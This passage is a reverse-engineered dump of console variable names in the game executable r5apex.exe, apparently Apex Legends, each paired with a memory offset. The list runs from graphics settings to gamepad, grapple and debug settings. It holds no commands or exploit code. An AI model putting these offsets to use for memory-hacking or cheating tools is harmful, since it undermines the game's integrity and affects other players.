csm_depth_bias +r5apex.exe!0x01c490c0 ConVar csm_dropsequence_adjusted_coverage +r5apex.exe!0x018af850 ConVar csm_dropsequence_adjustment +r5apex.exe!0x012fb1d0 ConVar csm_enabled +r5apex.exe!0x018b84a0 ConVar csm_fadeModels +r5apex.exe!0x018baeb0 ConVar csm_force_no_csm_in_reflections +r5apex.exe!0x018af2b0 ConVar csm_frustum_draw +r5apex.exe!0x018af210 ConVar csm_frustum_draw_lock +r5apex.exe!0x01c47c50 ConVar csm_ignore_cascade12 +r5apex.exe!0x018b76a0 ConVar csm_ignore_edge_planes +r5apex.exe!0x018bf840 ConVar csm_ignore_face_planes +r5apex.exe!0x01c48ee0 ConVar csm_max_z_offset +r5apex.exe!0x018bd400 ConVar csm_min_z_offset +r5apex.exe!0x018af910 ConVar csm_renderable_shadows +r5apex.exe!0x01c48f80 ConVar csm_rope_shadows +r5apex.exe!0x018bce80 ConVar csm_rot_override +r5apex.exe!0x018b7380 ConVar csm_rot_x +r5apex.exe!0x018ba460 ConVar csm_rot_y +r5apex.exe!0x01c49650 ConVar csm_shadow_split_lerp_factor_range +r5apex.exe!0x018bb550 ConVar csm_texel_size_cascade_0 +r5apex.exe!0x018be7a0 ConVar csm_texel_size_cascade_1 +r5apex.exe!0x018b7a90 ConVar csm_texel_size_cascade_2 +r5apex.exe!0x018c47f0 ConVar csm_texel_size_cascade_onecascade +r5apex.exe!0x018b72e0 ConVar csm_use_env_light_direction +r5apex.exe!0x018c1aa0 ConVar csm_world_shadow_meshes +r5apex.exe!0x018c4950 ConVar csm_world_shadows +r5apex.exe!0x018c46a0 ConVar csm_z_cover_world +r5apex.exe!0x012e8870 ConVar curl_allowHTTPS +r5apex.exe!0x012e8a50 ConVar curl_preloadDlls +r5apex.exe!0x012e89b0 ConVar curl_spamAllQueryStates +r5apex.exe!0x077f32a0 ConVar cursorWide +r5apex.exe!0x01e8f8a0 ConVar damageIndicatorReplayTimeOffset +r5apex.exe!0x01e77730 ConVar damage_indicator_style_pilot +r5apex.exe!0x01c71e10 ConVar damageinfo_defendInvalidValues +r5apex.exe!0x018a78d0 ConVar debugFootstepEffects +r5apex.exe!0x011a53d0 ConVar debug_debug_overlay +r5apex.exe!0x012b7cb0 ConVar debug_force_textRestriction +r5apex.exe!0x012b75d0 ConVar debug_force_ugcRestriction +r5apex.exe!0x012b7ad0 ConVar debug_force_voiceRestriction +r5apex.exe!0x011a76f0 ConVar debug_map_crc +r5apex.exe!0x01300ec0 ConVar decal_clip_debug_draw +r5apex.exe!0x01300de0 ConVar decal_clip_debug_groups +r5apex.exe!0x01e92a40 ConVar defer_weapon_effects +r5apex.exe!0x018afb30 ConVar delayPostSnapshotNotificationsToAfterInterpolation +r5apex.exe!0x012b1c60 ConVar demo_autoRecord +r5apex.exe!0x012b17c0 ConVar demo_autoRecordName +r5apex.exe!0x01e8ad50 ConVar demo_connect_string +r5apex.exe!0x01e8aa30 ConVar demo_ui_enable +r5apex.exe!0x011b4760 ConVar depth_prepass_dist_cutouts +r5apex.exe!0x011b6400 ConVar depth_prepass_dist_opaques +r5apex.exe!0x011b4f60 ConVar depth_prepass_include_opaques +r5apex.exe!0x01e75ab0 ConVar devStats +r5apex.exe!0x012e7d10 ConVar developer +r5apex.exe!0x01e8eb90 ConVar disable_player_use_prompts +r5apex.exe!0x012b26c0 ConVar discord_largeImage +r5apex.exe!0x012b2620 ConVar discord_smallImage +r5apex.exe!0x012b2760 ConVar discord_updatePresence +r5apex.exe!0x011a5a00 ConVar dlight_default_falloff +r5apex.exe!0x011a7810 ConVar dlight_early_clear +r5apex.exe!0x0127b3d0 ConVar dlight_enable +r5apex.exe!0x0127a2b0 ConVar dlight_overlay +r5apex.exe!0x01c75980 ConVar dodge_cockpitHack +r5apex.exe!0x01ca6bc0 ConVar dodge_cockpitOffsetMax +r5apex.exe!0x01c90ca0 ConVar dodge_cockpitTiltMax +r5apex.exe!0x01c72e20 ConVar dodge_vertical_enable +r5apex.exe!0x01c76760 ConVar dodge_vertical_horzspeedscale +r5apex.exe!0x01ca95d0 ConVar dodge_vertical_in_air +r5apex.exe!0x01caa160 ConVar dodge_vertical_threshold +r5apex.exe!0x01c72a60 ConVar dodge_viewTiltDecreaseSpeed +r5apex.exe!0x01ca4b30 ConVar dodge_viewTiltFalloffTime +r5apex.exe!0x01c72560 ConVar dodge_viewTiltIncreaseSpeed +r5apex.exe!0x01ca4a90 ConVar dodge_viewTiltMax +r5apex.exe!0x01c6e220 ConVar dof_enable +r5apex.exe!0x0189e110 ConVar dof_farDepthEnd +r5apex.exe!0x0189e1b0 ConVar dof_farDepthStart +r5apex.exe!0x0189e2f0 ConVar dof_monitorFarDepthEnd +r5apex.exe!0x0189dfd0 ConVar dof_monitorFarDepthStart +r5apex.exe!0x0189de90 ConVar dof_monitorNearDepthEnd +r5apex.exe!0x0189e070 ConVar dof_monitorNearDepthStart +r5apex.exe!0x0189e250 ConVar dof_nearDepthEnd +r5apex.exe!0x0189df30 ConVar dof_nearDepthStart +r5apex.exe!0x0189e390 ConVar dof_overrideParams +r5apex.exe!0x01c6b7b0 ConVar dof_variable_blur +r5apex.exe!0x01ea06e0 ConVar dormant_debug +r5apex.exe!0x01e8d350 ConVar draw_target_info_offscreen +r5apex.exe!0x011a57f0 ConVar dtwatchclass +r5apex.exe!0x011a8910 ConVar dtwatchdecode +r5apex.exe!0x011a50d0 ConVar dtwatchencode +r5apex.exe!0x011a87e0 ConVar dtwatchent +r5apex.exe!0x011a5600 ConVar dtwatchvar +r5apex.exe!0x01e7a5d0 ConVar dump_varsights_calculations +r5apex.exe!0x018ab3d0 ConVar durango_voice_chat_team_only +r5apex.exe!0x012fb3b0 ConVar dvs_enable +r5apex.exe!0x018c4a70 ConVar dvs_enable_in_lobby +r5apex.exe!0x012fc330 ConVar dvs_gpuframetime_max +r5apex.exe!0x012fc470 ConVar dvs_gpuframetime_min +r5apex.exe!0x012fc3d0 ConVar dvs_scale_min +r5apex.exe!0x011ada80 ConVar eadpAuth_hostname +r5apex.exe!0x011aebe0 ConVar eadpFriends_hostname +r5apex.exe!0x012e5760 ConVar eadpGroups_Enabled +r5apex.exe!0x011aa330 ConVar eadpGroups_hostname +r5apex.exe!0x011afe60 ConVar eadpRtm_hostname +r5apex.exe!0x011ae4d0 ConVar eadpSearch_hostname +r5apex.exe!0x012ecc80 ConVar eadp_rtm_spam_log +r5apex.exe!0x01c71810 ConVar effect_update_array_spam +r5apex.exe!0x011b6600 ConVar enable_KVFileOverrides +r5apex.exe!0x011a63b0 ConVar enable_debug_overlays +r5apex.exe!0x01ca7cc0 ConVar enable_height_based_land_anims +r5apex.exe!0x01ca5f30 ConVar enable_height_based_land_anims_titans +r5apex.exe!0x018a6df0 ConVar enable_skeleton_draw +r5apex.exe!0x011b1eb0 ConVar encrypt_multiKey +r5apex.exe!0x01ea1180 ConVar ent_lightweightEnts +r5apex.exe!0x01ea0360 ConVar ent_repack_almostFull +r5apex.exe!0x01ea0780 ConVar ent_repack_threshhold +r5apex.exe!0x01ca63d0 ConVar entity_error_on_hitbox_count_mismatch +r5apex.exe!0x01c907b0 ConVar entity_skipRedundantAddEffects +r5apex.exe!0x012b0f00 ConVar entity_useNetworkFieldBuffer +r5apex.exe!0x01ea0960 ConVar error_if_non_standard_ent_create +r5apex.exe!0x01e79900 ConVar eula_version +r5apex.exe!0x01e79290 ConVar eula_version_accepted +r5apex.exe!0x018bdac0 ConVar eventseq_debug +r5apex.exe!0x01e75200 ConVar everything_unlocked +r5apex.exe!0x01e774b0 ConVar fast_intro +r5apex.exe!0x01eab4a0 ConVar fatal_script_error_prompt +r5apex.exe!0x01eab360 ConVar fatal_script_errors +r5apex.exe!0x01eab400 ConVar fatal_script_errors_client +r5apex.exe!0x01eab540 ConVar fatal_script_errors_server +r5apex.exe!0x012eefa0 ConVar filesystem_buffer_size +r5apex.exe!0x012ef2a0 ConVar filesystem_max_stdio_read +r5apex.exe!0x012ef340 ConVar filesystem_native +r5apex.exe!0x012ef160 ConVar filesystem_report_buffered_io +r5apex.exe!0x012ef0c0 ConVar filesystem_unbuffered_io +r5apex.exe!0x012ef200 ConVar filesystem_use_overlapped_io +r5apex.exe!0x01cacfc0 ConVar fire_animevents_overlay_not_active +r5apex.exe!0x01e99c20 ConVar first_person_bullet_delay +r5apex.exe!0x018af170 ConVar first_person_proxy_blend_distance +r5apex.exe!0x01e95db0 ConVar first_person_proxy_debug +r5apex.exe!0x01e79130 ConVar firsttime_mp_message +r5apex.exe!0x01e75020 ConVar fog_enable +r5apex.exe!0x011b1910 ConVar fog_enable_water_fog +r5apex.exe!0x01e749a0 ConVar fog_enableskybox +r5apex.exe!0x01e9d080 ConVar force3PLaserAttachment +r5apex.exe!0x012b7c10 ConVar force_EAAccess +r5apex.exe!0x011b6c20 ConVar fps_max +r5apex.exe!0x011b5520 ConVar fps_max_use_refresh +r5apex.exe!0x011b5de0 ConVar fps_max_vsync +r5apex.exe!0x018aac70 ConVar freecam_swallowButtonInput +r5apex.exe!0x01c72130 ConVar freefall_sound_autoplay_time +r5apex.exe!0x01ca2f40 ConVar freefall_sound_height +r5apex.exe!0x012eb380 ConVar friends_onlineUpdateInterval +r5apex.exe!0x012ee720 ConVar fs_intralevel_reads +r5apex.exe!0x012eebe0 ConVar fs_monitor_read_from_pack +r5apex.exe!0x012ee860 ConVar fs_report_intra_level_readopens +r5apex.exe!0x012eecf0 ConVar fs_report_long_reads +r5apex.exe!0x012ee7c0 ConVar fs_report_sync_opens +r5apex.exe!0x012eea20 ConVar fs_report_sync_opens_callstack +r5apex.exe!0x012eeb40 ConVar fs_report_sync_opens_fatal +r5apex.exe!0x012ee980 ConVar fs_showAllReads +r5apex.exe!0x012ef410 ConVar fs_vpk_file_open +r5apex.exe!0x012eee90 ConVar fs_warning_mode +r5apex.exe!0x01c60090 ConVar func_break_max_pieces +r5apex.exe!0x018c3ba0 ConVar fx_debug +r5apex.exe!0x01ea5840 ConVar fx_deferWorldTraceConstraint +r5apex.exe!0x01c58fa0 ConVar fx_glass_velocity_cap +r5apex.exe!0x01c70840 ConVar fx_impact_ally +r5apex.exe!0x01c69960 ConVar fx_impact_enemy +r5apex.exe!0x01c6c9e0 ConVar fx_impact_neutral +r5apex.exe!0x01ea6d30 ConVar fx_screenspacepass +r5apex.exe!0x01cbb000 ConVar g_debug_ragdoll_removal +r5apex.exe!0x018a8110 ConVar g_ragdoll_fadespeed +r5apex.exe!0x01cba690 ConVar g_ragdoll_important_maxcount +r5apex.exe!0x018a73f0 ConVar g_ragdoll_lvfadespeed +r5apex.exe!0x01c5d130 ConVar gameCursor_ModeActive +r5apex.exe!0x01c5df40 ConVar gameCursor_Velocity +r5apex.exe!0x018bb8e0 ConVar gamepad_ads_advanced_sensitivity_scalar_0 +r5apex.exe!0x018bb980 ConVar gamepad_ads_advanced_sensitivity_scalar_1 +r5apex.exe!0x018bba20 ConVar gamepad_ads_advanced_sensitivity_scalar_2 +r5apex.exe!0x018bbac0 ConVar gamepad_ads_advanced_sensitivity_scalar_3 +r5apex.exe!0x018bbb60 ConVar gamepad_ads_advanced_sensitivity_scalar_4 +r5apex.exe!0x018bbc00 ConVar gamepad_ads_advanced_sensitivity_scalar_5 +r5apex.exe!0x018bbca0 ConVar gamepad_ads_advanced_sensitivity_scalar_6 +r5apex.exe!0x018bbd40 ConVar gamepad_ads_advanced_sensitivity_scalar_7 +r5apex.exe!0x018c4240 ConVar gamepad_aim_assist_ads_high_power_scopes +r5apex.exe!0x018c1460 ConVar gamepad_aim_assist_ads_low_power_scopes +r5apex.exe!0x018b0900 ConVar gamepad_aim_assist_hip_high_power_scopes +r5apex.exe!0x018bf960 ConVar gamepad_aim_assist_hip_low_power_scopes +r5apex.exe!0x018c7a50 ConVar gamepad_aim_assist_melee +r5apex.exe!0x018c3590 ConVar gamepad_aim_speed +r5apex.exe!0x018c0150 ConVar gamepad_aim_speed_ads_0 +r5apex.exe!0x018c01f0 ConVar gamepad_aim_speed_ads_1 +r5apex.exe!0x018c0290 ConVar gamepad_aim_speed_ads_2 +r5apex.exe!0x018c0330 ConVar gamepad_aim_speed_ads_3 +r5apex.exe!0x018c03d0 ConVar gamepad_aim_speed_ads_4 +r5apex.exe!0x018c0470 ConVar gamepad_aim_speed_ads_5 +r5apex.exe!0x018c0510 ConVar gamepad_aim_speed_ads_6 +r5apex.exe!0x018c05b0 ConVar gamepad_aim_speed_ads_7 +r5apex.exe!0x01e791f0 ConVar gamepad_button_layout +r5apex.exe!0x01e78ec0 ConVar gamepad_buttons_are_southpaw +r5apex.exe!0x018c44c0 ConVar gamepad_custom_ads_pitch +r5apex.exe!0x018bdc00 ConVar gamepad_custom_ads_turn_delay +r5apex.exe!0x018b04a0 ConVar gamepad_custom_ads_turn_pitch +r5apex.exe!0x01c49970 ConVar gamepad_custom_ads_turn_time +r5apex.exe!0x018b7b30 ConVar gamepad_custom_ads_turn_yaw +r5apex.exe!0x01c48b20 ConVar gamepad_custom_ads_yaw +r5apex.exe!0x018b6d60 ConVar gamepad_custom_assist_on +r5apex.exe!0x018c3130 ConVar gamepad_custom_curve +r5apex.exe!0x018c3430 ConVar gamepad_custom_deadzone_in +r5apex.exe!0x018aff90 ConVar gamepad_custom_deadzone_out +r5apex.exe!0x018c0870 ConVar gamepad_custom_enabled +r5apex.exe!0x018ba500 ConVar gamepad_custom_hip_pitch +r5apex.exe!0x01c47e30 ConVar gamepad_custom_hip_turn_delay +r5apex.exe!0x01c49350 ConVar gamepad_custom_hip_turn_pitch +r5apex.exe!0x01c48e40 ConVar gamepad_custom_hip_turn_time +r5apex.exe!0x018c38b0 ConVar gamepad_custom_hip_turn_yaw +r5apex.exe!0x018c0f60 ConVar gamepad_custom_hip_yaw +r5apex.exe!0x01e77f90 ConVar gamepad_custom_pilot +r5apex.exe!0x01e77af0 ConVar gamepad_custom_titan +r5apex.exe!0x018c07d0 ConVar gamepad_deadzone_index_look +r5apex.exe!0x018bb5f0 ConVar gamepad_deadzone_index_move +r5apex.exe!0x01c67b00 ConVar gamepad_enabled +r5apex.exe!0x018c42e0 ConVar gamepad_look_curve +r5apex.exe!0x01e79aa0 ConVar gamepad_stick_layout +r5apex.exe!0x01c53a20 ConVar gamepad_toggle_ads +r5apex.exe!0x01c5ec50 ConVar gamepad_togglecrouch_hold +r5apex.exe!0x012f29c0 ConVar gamepad_trigger_threshold +r5apex.exe!0x018c41a0 ConVar gamepad_use_per_scope_ads_settings +r5apex.exe!0x018c11c0 ConVar gamepad_use_per_scope_sensitivity_scalars +r5apex.exe!0x01e7a530 ConVar gamepad_use_type +r5apex.exe!0x011b32f0 ConVar gameui_xbox +r5apex.exe!0x01e79800 ConVar gamma_adjusted +r5apex.exe!0x018b8ac0 ConVar gatherprops_no_wait +r5apex.exe!0x012fec80 ConVar gfx_desaturate_force +r5apex.exe!0x01302fc0 ConVar gfx_nvnUseLowLatency +r5apex.exe!0x01302f20 ConVar gfx_nvnUseLowLatencyBoost +r5apex.exe!0x01e74f80 ConVar gl_clear_color_buffer +r5apex.exe!0x01e74180 ConVar gl_clear_fogcolor +r5apex.exe!0x01e74400 ConVar gl_clear_randomcolor +r5apex.exe!0x018be160 ConVar glass_break_required_speed +r5apex.exe!0x01c66740 ConVar glass_shatter_direction_force_scale +r5apex.exe!0x01c5aa30 ConVar glass_shatter_force_scale +r5apex.exe!0x01c601b0 ConVar glass_shatter_size_scale +r5apex.exe!0x01c59750 ConVar glass_shatter_use_real_direction +r5apex.exe!0x012febe0 ConVar glitch_aberrationScale +r5apex.exe!0x0189cc80 ConVar global_lighting_partial_update +r5apex.exe!0x01eac8a0 ConVar gpu_count +r5apex.exe!0x01300a20 ConVar gpu_driven_tex_stream +r5apex.exe!0x01300f60 ConVar gpu_driven_tex_stream_single_thread +r5apex.exe!0x012fc510 ConVar gpu_level +r5apex.exe!0x01c521c0 ConVar gpu_level +r5apex.exe!0x012f3010 ConVar gpu_mem_level +r5apex.exe!0x018b03e0 ConVar gpu_mem_level +r5apex.exe!0x012fc1f0 ConVar gpu_vram_size_mb +r5apex.exe!0x01caa090 ConVar grapple_accel_human +r5apex.exe!0x01ca6cc0 ConVar grapple_accel_titan +r5apex.exe!0x01ca9860 ConVar grapple_around_obstacle_accel +r5apex.exe!0x01ca82e0 ConVar grapple_autoMantle +r5apex.exe!0x01cab600 ConVar grapple_autoMeleeConvergeTime +r5apex.exe!0x01c77b30 ConVar grapple_autoMeleeOnDetach +r5apex.exe!0x01cac120 ConVar grapple_autoMeleePredict +r5apex.exe!0x01cae050 ConVar grapple_autoMeleePredictTime +r5apex.exe!0x01cadfb0 ConVar grapple_autoMeleeViewRotateSpeedFar +r5apex.exe!0x01cadf10 ConVar grapple_autoMeleeViewRotateSpeedNear +r5apex.exe!0x01ca9f50 ConVar grapple_debug +r5apex.exe!0x01c72880 ConVar grapple_decelMeleeStrength +r5apex.exe!0x01ca33a0 ConVar grapple_decel_human +r5apex.exe!0x01c75220 ConVar grapple_decel_titan +r5apex.exe!0x01c75d40 ConVar grapple_detachExtraAllowedLength +r5apex.exe!0x01c76a80 ConVar grapple_disableMeleeWhenActive +r5apex.exe!0x01ca2a10 ConVar grapple_dontFightGravity +r5apex.exe!0x01ca3d30 ConVar grapple_fallSpeed +r5apex.exe!0x01ca9180 ConVar grapple_forcedRetractVel +r5apex.exe!0x01c77720 ConVar grapple_gracePeriod +r5apex.exe!0x01c76c90 ConVar grapple_gravityPushUnderContribution +r5apex.exe!0x01ca7a30 ConVar grapple_initialImpulseOffGround_human +r5apex.exe!0x01cab0f0 ConVar grapple_initialImpulseOffGround_human_npc +r5apex.exe!0x01c90d40 ConVar grapple_initialImpulseOffGround_titan +r5apex.exe!0x01ca7020 ConVar grapple_initialImpulse_human +r5apex.exe!0x01c764e0 ConVar grapple_initialImpulse_titan +r5apex.exe!0x01c76b50 ConVar grapple_initialSlowFracVert_human +r5apex.exe!0x01c91120 ConVar grapple_initialSlowFracVert_titan +r5apex.exe!0x01ca3710 ConVar grapple_initialSlowFrac_human +r5apex.exe!0x01ca3440 ConVar grapple_initialSlowFrac_titan +r5apex.exe!0x01ca83b0 ConVar grapple_initialSpeedMin_human +r5apex.exe!0x01cab6a0 ConVar grapple_initialSpeedMin_titan +r5apex.exe!0x01ca2b50 ConVar grapple_jumpFrac +r5apex.exe!0x01ca2dd0 ConVar grapple_letGravityHelpCosAngle +r5apex.exe!0x01ca2e70 ConVar grapple_lift +r5apex.exe!0x01cace70 ConVar grapple_pullDelay_human +r5apex.exe!0x01cacdd0 ConVar grapple_pullDelay_titan +r5apex.exe!0x01cab950 ConVar grapple_retractVel +r5apex.exe!0x01caae40 ConVar grapple_rodeoVerticalImpulse +r5apex.exe!0x01cae0f0 ConVar grapple_shootVel +r5apex.exe!0x01ca2c90 ConVar grapple_speedRampMax_human +r5apex.exe!0x01cabea0 ConVar grapple_speedRampMax_titan +r5apex.exe!0x01c76440 ConVar grapple_speedRampMin_human +r5apex.exe!0x01ca37b0 ConVar grapple_speedRampMin_titan +r5apex.exe!0x01ca6f50 ConVar grapple_speedRampTime_human +r5apex.exe!0x01ca6260 ConVar grapple_speedRampTime_titan +r5apex.exe!0x01ca2bf0 ConVar grapple_swingAngle +r5apex.exe!0x01c76f10 ConVar grapple_swingPullAngle +r5apex.exe!0x01c76940 ConVar grapple_swingPullSpeedLength +r5apex.exe!0x01c72ce0 ConVar grapple_swingPullSpeedScale +r5apex.exe!0x01ca97c0 ConVar grapple_titanEmbarkDist +r5apex.exe!0x01ca2d30 ConVar grapple_windowCheckDist +r5apex.exe!0x01cb6d90 ConVar gravity_grenade_decel +r5apex.exe!0x01cb2b10 ConVar gravity_grenade_projectile_min_speed +r5apex.exe!0x01c72b00 ConVar ground_debug +r5apex.exe!0x01cae2a0 ConVar ground_trace_hull_radius +r5apex.exe!0x011b8f50 ConVar grx_hasUnknownItems +r5apex.exe!0x013020c0 ConVar gtao_angle_bias +r5apex.exe!0x01301940 ConVar gtao_intensity +r5apex.exe!0x01302340 ConVar gtao_intensity_in_lobby +r5apex.exe!0x013023e0 ConVar gtao_thickness_heuristic +r5apex.exe!0x012b15e0 ConVar hasAnyAssetsWithDiscardedStreamableData +r5apex.exe!0x012b1fe0 ConVar hasMic +r5apex.exe!0x012b1540 ConVar hasPartialInstall +r5apex.exe!0x01302160 ConVar hbao_angle_bias +r5apex.exe!0x01301c60 ConVar hbao_intensity +r5apex.exe!0x01301e40 ConVar hbao_stepsize_random +r5apex.exe!0x01301b20 ConVar hbaobasic_tangent_bias +r5apex.exe!0x01c655c0 ConVar hidehud +r5apex.exe!0x018bdf80 ConVar highlight_deferred_update +r5apex.exe!0x01301000 ConVar highlight_draw +r5apex.exe!0x013011c0 ConVar highlight_lazy_clear_buffers +r5apex.exe!0x01301120 ConVar highlight_object_max_count +r5apex.exe!0x01ea4fb0 ConVar hitbox_bodygroup_check +r5apex.exe!0x01c6d300 ConVar hitch_alert_active +r5apex.exe!0x01c6cba0 ConVar hitch_alert_color +r5apex.exe!0x01c6acf0 ConVar hitch_alert_show_large_snapshots +r5apex.exe!0x012e7830 ConVar host_RunFrameServerAlways +r5apex.exe!0x012e72b0 ConVar host_ShowIPCCallCount +r5apex.exe!0x012b3f80 ConVar host_flush_threshold +r5apex.exe!0x012e6d30 ConVar host_forceTakeHomeBuild +r5apex.exe!0x012e7c70 ConVar host_framerate +r5apex.exe!0x011b0cf0 ConVar host_hasIrreversibleShutdown +r5apex.exe!0x012e7bd0 ConVar host_limitlocal +r5apex.exe!0x011a9800 ConVar host_map +r5apex.exe!0x012e7970 ConVar host_print_frame_times +r5apex.exe!0x012e67f0 ConVar host_profile +r5apex.exe!0x012e7170 ConVar host_runframe_input_parcelremainder +r5apex.exe!0x012e6dd0 ConVar host_server_thread_min_ticks +r5apex.exe!0x012e5ed0 ConVar host_sleep +r5apex.exe!0x012e6230 ConVar host_speeds +r5apex.exe!0x0127ae90 ConVar host_syncfps +r5apex.exe!0x012e65b0 ConVar host_thread_join_fast +r5apex.exe!0x012e7790 ConVar host_thread_mode +r5apex.exe!0x012e63f0 ConVar host_threaded_sound +r5apex.exe!0x012e7db0 ConVar host_timescale +r5apex.exe!0x011ace40 ConVar hostname +r5apex.exe!0x01cb39e0 ConVar hover_vehicle_acceleration +r5apex.exe!0x01cb6e30 ConVar hover_vehicle_air_acceleration +r5apex.exe!0x01caeb50 ConVar hover_vehicle_boost_cooldown +r5apex.exe!0x01caea30 ConVar hover_vehicle_boost_speed_max +r5apex.exe!0x01cb8840 ConVar hover_vehicle_boost_speed_min +r5apex.exe!0x01cb5de0 ConVar hover_vehicle_deceleration +r5apex.exe!0x01cb7ca0 ConVar hover_vehicle_deceleration_powerbreaking +r5apex.exe!0x01c57250 ConVar hover_vehicle_invisible_when_camera_is_too_close +r5apex.exe!0x01e8a450 ConVar hover_vehicle_passenger_left_attachment_name +r5apex.exe!0x01cb4c30 ConVar hover_vehicle_speed +r5apex.exe!0x012e85f0 ConVar http_StryderKey +r5apex.exe!0x012e7fb0 ConVar http_debug +r5apex.exe!0x012e84b0 ConVar http_debug_forceFailRate +r5apex.exe!0x012e8230 ConVar http_debug_forceFailStatus +r5apex.exe!0x012e8410 ConVar http_expoBackoff_Enabled +r5apex.exe!0x012e8050 ConVar http_failuresAsErrors +r5apex.exe!0x012e8370 ConVar http_maxAllocateAttempts +r5apex.exe!0x012e8910 ConVar http_recv_fail_realloc +r5apex.exe!0x012e82d0 ConVar http_sandbox +r5apex.exe!0x012e8190 ConVar http_showQueries +r5apex.exe!0x01ea3200 ConVar hud_autoreloadscript +r5apex.exe!0x01c6f0e0 ConVar hud_setting_accessibleChat +r5apex.exe!0x01c6a970 ConVar hud_setting_adsDof +r5apex.exe!0x012b33c0 ConVar hud_setting_anonymousMode +r5apex.exe!0x01e8d150 ConVar hud_setting_compactOverHeadNames +r5apex.exe!0x01c6fd80 ConVar hud_setting_damageIndicatorStyle +r5apex.exe!0x01c6c760 ConVar hud_setting_damageTextStyle +r5apex.exe!0x01c69a00 ConVar hud_setting_enableModWheel +r5apex.exe!0x01e782d0 ConVar hud_setting_healthUseOnHold +r5apex.exe!0x01e785f0 ConVar hud_setting_healthWheelToggle +r5apex.exe!0x01e78810 ConVar hud_setting_healthWheelUseOnRelease +r5apex.exe!0x01c6c140 ConVar hud_setting_lootPromptStyle +r5apex.exe!0x01c6c440 ConVar hud_setting_minimapRotate +r5apex.exe!0x01e77e70 ConVar hud_setting_ordnanceUseOnHold +r5apex.exe!0x01e79c00 ConVar hud_setting_ordnanceWheelToggle +r5apex.exe!0x01e78030 ConVar hud_setting_ordnanceWheelUseOnRelease +r5apex.exe!0x01c6fc60 ConVar hud_setting_pingAlpha +r5apex.exe!0x01c6cec0 ConVar hud_setting_pingDoubleTapEnemy +r5apex.exe!0x01e78950 ConVar hud_setting_pingWheelToggle +r5apex.exe!0x01c69e20 ConVar hud_setting_showButtonHints +r5apex.exe!0x01c6f7a0 ConVar hud_setting_showCallsigns +r5apex.exe!0x01c6a780 ConVar hud_setting_showHopUpPopUp +r5apex.exe!0x01c6e8f0 ConVar hud_setting_showLevelUp +r5apex.exe!0x01c6d860 ConVar hud_setting_showMedals +r5apex.exe!0x01c70a20 ConVar hud_setting_showMeter +r5apex.exe!0x01c6d9a0 ConVar hud_setting_showObituary +r5apex.exe!0x01c6af20 ConVar hud_setting_showTips +r5apex.exe!0x01c705e0 ConVar hud_setting_showWeaponFlyouts +r5apex.exe!0x01c70680 ConVar hud_setting_streamerMode +r5apex.exe!0x01c58ac0 ConVar hudchat_new_message_fade_duration +r5apex.exe!0x01c602f0 ConVar hudchat_new_message_shown_duration +r5apex.exe!0x01c59890 ConVar hudchat_play_text_to_speech +r5apex.exe!0x01c58900 ConVar hudchat_transition_message_mode_fade_duration +r5apex.exe!0x01c579a0 ConVar hudchat_visibility +r5apex.exe!0x01eaa5f0 ConVar hudwarp_chopsize +r5apex.exe!0x01eaa2d0 ConVar hudwarp_override +r5apex.exe!0x01eaa190 ConVar hudwarp_viewDist +r5apex.exe!0x01eaa550 ConVar hudwarp_xScale +r5apex.exe!0x01ea92b0 ConVar hudwarp_xWarp +r5apex.exe!0x01ea9350 ConVar hudwarp_yScale +r5apex.exe!0x01eaa230 ConVar hudwarp_yWarp +r5apex.exe!0x01c6a8c0 ConVar idcolor_ally +r5apex.exe!0x01c70ca0 ConVar idcolor_ally_cb1 +r5apex.exe!0x01c6e9c0 ConVar idcolor_ally_cb2 +r5apex.exe!0x01c6ef00 ConVar idcolor_ally_cb3 +r5apex.exe!0x01c716f0 ConVar idcolor_enemy +r5apex.exe!0x01c6e060 ConVar idcolor_enemy_cb1 +r5apex.exe!0x01c6db00 ConVar idcolor_enemy_cb2 +r5apex.exe!0x01c69aa0 ConVar idcolor_enemy_cb3 +r5apex.exe!0x01c6abb0 ConVar idcolor_neutral +r5apex.exe!0x011b6ea0 ConVar ignore_fatal_errors +r5apex.exe!0x01e758c0 ConVar ignore_script_errors +r5apex.exe!0x01cae200 ConVar ik_debug +r5apex.exe!0x01c71c90 ConVar ik_debug_chain +r5apex.exe!0x01ca8480 ConVar ik_debug_ent +r5apex.exe!0x01cac410 ConVar ik_debug_text +r5apex.exe!0x01c75b60 ConVar ik_enable +r5apex.exe!0x01ca2970 ConVar ik_enable_client +r5apex.exe!0x01ca9aa0 ConVar ik_height_adjust +r5apex.exe!0x01c75fc0 ConVar ik_height_adjust_debug +r5apex.exe!0x01c74a20 ConVar ik_height_adjust_move_speed +r5apex.exe!0x01c72740 ConVar ik_height_adjust_sine +r5apex.exe!0x01cab050 ConVar ik_height_adjust_speed +r5apex.exe!0x01ca5e90 ConVar ik_latch +r5apex.exe!0x01c91000 ConVar ik_normal_lerp_rate +r5apex.exe!0x01ca4cc0 ConVar ik_unlatch_max_rate +r5apex.exe!0x012f0cc0 ConVar ime_enabled +r5apex.exe!0x01ea7750 ConVar imgui_buildmode +r5apex.exe!0x01ea7ab0 ConVar imgui_buildmode +r5apex.exe!0x01c636e0 ConVar impact_allow +r5apex.exe!0x01c6da40 ConVar impact_debug_info +r5apex.exe!0x01c65520 ConVar impact_victim_offset_dist +r5apex.exe!0x01cbbc40 ConVar impulse_low_decel_duration_scalar +r5apex.exe!0x012b2120 ConVar inPartyChat +r5apex.exe!0x011aec80 ConVar in_forceuser +r5apex.exe!0x011b62c0 ConVar in_syncRT +r5apex.exe!0x01c534e0 ConVar in_usekeyboardsampletime +r5apex.exe!0x012b7b70 ConVar inbox_enabled +r5apex.exe!0x012b7850 ConVar infoblock_requestInterval +r5apex.exe!0x01c66100 ConVar input_did_turn_threshold +r5apex.exe!0x01e78770 ConVar intro_viewed +r5apex.exe!0x011afb00 ConVar ip +r5apex.exe!0x01c641e0 ConVar joy_advaxisr +r5apex.exe!0x01c544e0 ConVar joy_advaxisu +r5apex.exe!0x01c66960 ConVar joy_advaxisv +r5apex.exe!0x01c5f090 ConVar joy_advaxisx +r5apex.exe!0x01c618e0 ConVar joy_advaxisy +r5apex.exe!0x01c5ecf0 ConVar joy_advaxisz +r5apex.exe!0x01c66060 ConVar joy_inverty +r5apex.exe!0x01c67ba0 ConVar joy_legacy +r5apex.exe!0x01c59b90 ConVar joy_movement_stick +r5apex.exe!0x01c53700 ConVar joy_requireFocus +r5apex.exe!0x01c62400 ConVar joy_rumble +r5apex.exe!0x01c63ef0 ConVar joy_xcontroller_cfg_loaded +r5apex.exe!0x0127a490 ConVar jpeg_quality +r5apex.exe!0x0189faa0 ConVar jt_help_with_anything_ignore_preference +r5apex.exe!0x01ca9ff0 ConVar jump_graceperiod +r5apex.exe!0x01ca7190 ConVar 